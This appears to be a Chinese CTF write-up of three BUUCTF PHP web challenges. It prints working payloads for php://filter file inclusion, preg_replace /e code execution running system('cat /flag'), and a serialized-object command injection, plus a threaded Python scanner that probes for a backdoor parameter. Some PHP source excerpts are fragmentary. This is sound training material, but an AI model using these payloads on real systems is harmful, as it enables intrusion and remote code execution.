目录
[BJDCTF2020]ZJCTF,不过如此
总结:
[网鼎杯 2020 朱雀组]phpweb
总结:
[强网杯 2019]高明的黑客
总结:
上来看到源码
".file_get_contents($text,'r')."
";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
这里浅审一下,
有两个GET型参数text和file,并且要求
file_get_contents($text,'r')==="I have a dream"
file_get_contents将整个文件读入一个字符串,如果失败,file_get_contents() 将返回false,要读入我们就用伪协议php://input绕过,构造成
?text=php://input
同时post上传一个I have a dream
看到了这个include我就兴奋了,文件包含!利用php://filter伪协议读取即可。
最后构造成
?text=php://input&file=php://filter/read/convert.base64-encode/resource=next.php
base64解密出
$str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
注意到preg_replace中的/e修正符,指的是如果匹配到了,就会执行preg_replace的第二个参数,也就是代替的内容,这个题里面是strtolower("\1")
preg_replace — 执行一个正则表达式的搜索和替换。相当于 eval('strtolower("\1");') 结果,当中的 \1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义,实际上指的是第一个子匹配项
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
了解了这些我们就开始构造payload
/?.*=${执行的命令}
原先的语句是
preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
构造之后的
preg_replace('/(.*)/ei','strtolower("\\1")',${执行的命令});
这种payload无法使用,原因是这里的$re部分是由Get传入,当以非法字符开头的参数就会自动转为下划线,导致匹配失败所以不能使用,如果不用Get传参就可以使用
.* 是单个字符匹配任意,即贪婪匹配。 表达式 .*? 是满足条件的情况只匹配一次,即最小匹配
\s匹配任何空白非打印字符,包括空格、制表符、换页符等等。等价于[ \f\n\r\t\v]。注意Uniocode正则表达式会\f匹配全角空格符
\S匹配任何非空白打印字符。等价于 \f\n\r\t\v
几种payload
next.php?\S*=${getFlag()}&cmd=system('cat+/flag');
next.php?\S*=${getflag()}&cmd=show_source('/flag');
next.php?\S%2b=${getFlag()}&cmd=system('cat+/flag');
总结:
为什么使用${执行的命令}
在PHP中双引号包裹的字符串可以当作解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)
var_dump(phpinfo()); // 结果:布尔 true var_dump(strtolower(phpinfo()));// 结果:字符串 '1' var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'
var_dump(preg_replace('/(.)/ie','strtolower("\1")','{${phpinfo()}}'));// 结果:空字符串'' var_dump(preg_replace('/(.)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串'' 这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串
要将可变变量用于数组,必须解决一个模棱两可的问题。这就是当写下 $$a[1] 时,解析器需要知道是想要 $a[1] 作为一个变量呢,还是想要 $$a 作为一个变量并取出该变量中索引为 [1] 的值。解决此问题的语法是,对第一种情况用 ${$a[1]},对第二种情况用 ${$a}[1]。
类的属性也可以通过可变属性名来访问。可变属性名将在该调用所处的范围内被解析。例如,对于 $foo->$bar 表达式,则会在本地范围来解析 $bar 并且其值将被用于 $foo 的属性名。对于 $bar 是数组单元时也是一样。
一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。在上面的例子中 hello 使用了两个美元符号($)以后,就可以作为一个可变变量的变量了。例如:
这时,两个变量都被定义了:$a 的内容是“hello”并且 $hello 的内容是“world”。因此,以下语句:
与以下语句输出完全相同的结果:
它们都会输出:hello world。
\1在正则匹配的搜索与替换中实际上指的是第一个子匹配项
刚进去啥也没有然后很疑惑地他就自己刷新了一下然后报了个错,过几秒时间还发生变化,
Warning: date(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in /var/www/html/index.php on line 24
2022-03-24 12:02:00 pm
抓个包吧!
发现两个参数!没见过,但是凭感觉认为可以命令执行,我就试着执行一下但是可能禁用了某些函数,读了一下index.php源码发现ban了
"exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter","array_walk","array_map","registregister_shutdown_function","register_tick_function","filter_var","filter_var_array","uasort","uksort","array_reduce","array_walk","array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"
func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
打扰了,那我只能另寻思路,之前总看到var_dump等,但是一直没了解var是什么,百度了一下发现就是public,php中类属性必须定义为共有,受保护,私有之一。所以如果没有那三个修饰符,必须用var,var就是public。。。为什么不直接用public。
另找思路的路上看到了个类,想到了反序列化,说做就做,因为这个过滤纸对我们输入的func进行过滤,Test的输入并没有被过滤,所以我们改一下payload!
O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
当前目录也没有,就很烦。。改一下吧!
最后!
O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
总结:
总能有思路的,实在不行就抓个包看看包的情况!var就是public,浅浅的复习了一下反序列化,和find命令
债见!
打开页面发现让我down个源码
down下来之后浏览了一下,文件名全被改了,就很麻烦,也没有目录结构,既然是被黑客黑了,那就应该有后门,D盾扫一下,除了好多
随便找个四级的搞一下试试吧,扫了3002个文件,可疑2999个,这要是挨个审下去就明天了啊,找了下大佬的WP,原来是写了个脚本,但是buu不让扫,那就只能本地搭建环境进行测试,干!
借用大佬的脚本研究了一下
import requests
import os
import re
import threading
import time
requests.adapters.DEFAULT_RETRIES = 8 #设置重连次数,防止线程数过高,断开连接
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
sem=threading.Semaphore(30) # 设置最大线程数 ,别设置太大,不然还是会崩的挺厉害的,跑到关键的爆炸,心态就爆炸了
url = "http://7cfcd16d-dd76-4421-8906-b9c234c18daf.node3.buuoj.cn/"
# 下载的源文件路径,根据自己的路径修改
path = r"C:\Users\lenovo\Desktop\www\\"
rrGET = re.compile(r"\$_GET\[\'(\w+)\'\]") #匹配get参数
rrPOST = re.compile(r"\$_POST\[\'(\w+)\'\]") #匹配post参数
fileNames = os.listdir(path) # 列出目录中的文件,以每个文件都开一个线程
local_file = open("flag.txt","w",encoding="utf-8")
def run(fileName):
with sem:
file = open( path + fileName, 'r',encoding='utf-8' )
content = file.read()
print("[+]checking:%s" % fileName )
#测试get的参数
for i in rrGET.findall(content):
r = session.get( url + "%s?%s=%s" % (fileName,i,"echo ~h3zh1~;") )
if "~h3zh1~" in r.text:
flag = "You Find it in GET fileName = %s and param = %s \n" % ( fileName, i )
print(flag)
local_file.write(flag)
#测试post的参数
#for i in rrPOST.findall(content):
# r = session.post( url + fileName , data = { i : "echo ~h3zh1~;" } )
# if "~h3zh1~" in r.text:
# flag = "You Find it in POST: fileName = %s and param = %s \n" % ( fileName, i )
# print(flag)
# local_file.writelines(flag)
if __name__ == '__main__':
start_time = time.time() # 开始时间
print("[start]程序开始:"+str(start_time))
thread_list = []
for fileName in fileNames:
t = threading.Thread( target=run , args=(fileName,) )
thread_list.append(t)
for t in thread_list:
t.start()
for t in thread_list:
t.join()
end_time = time.time()
local_file.close()
print("[end]程序结束:用时(秒):"+str(end_time-start_time))
多线程!不愧是大佬!
总结:
主要考的是python能力,再去复习一下了!债见!
感谢勤奋的自己,感谢BUU提供优质的题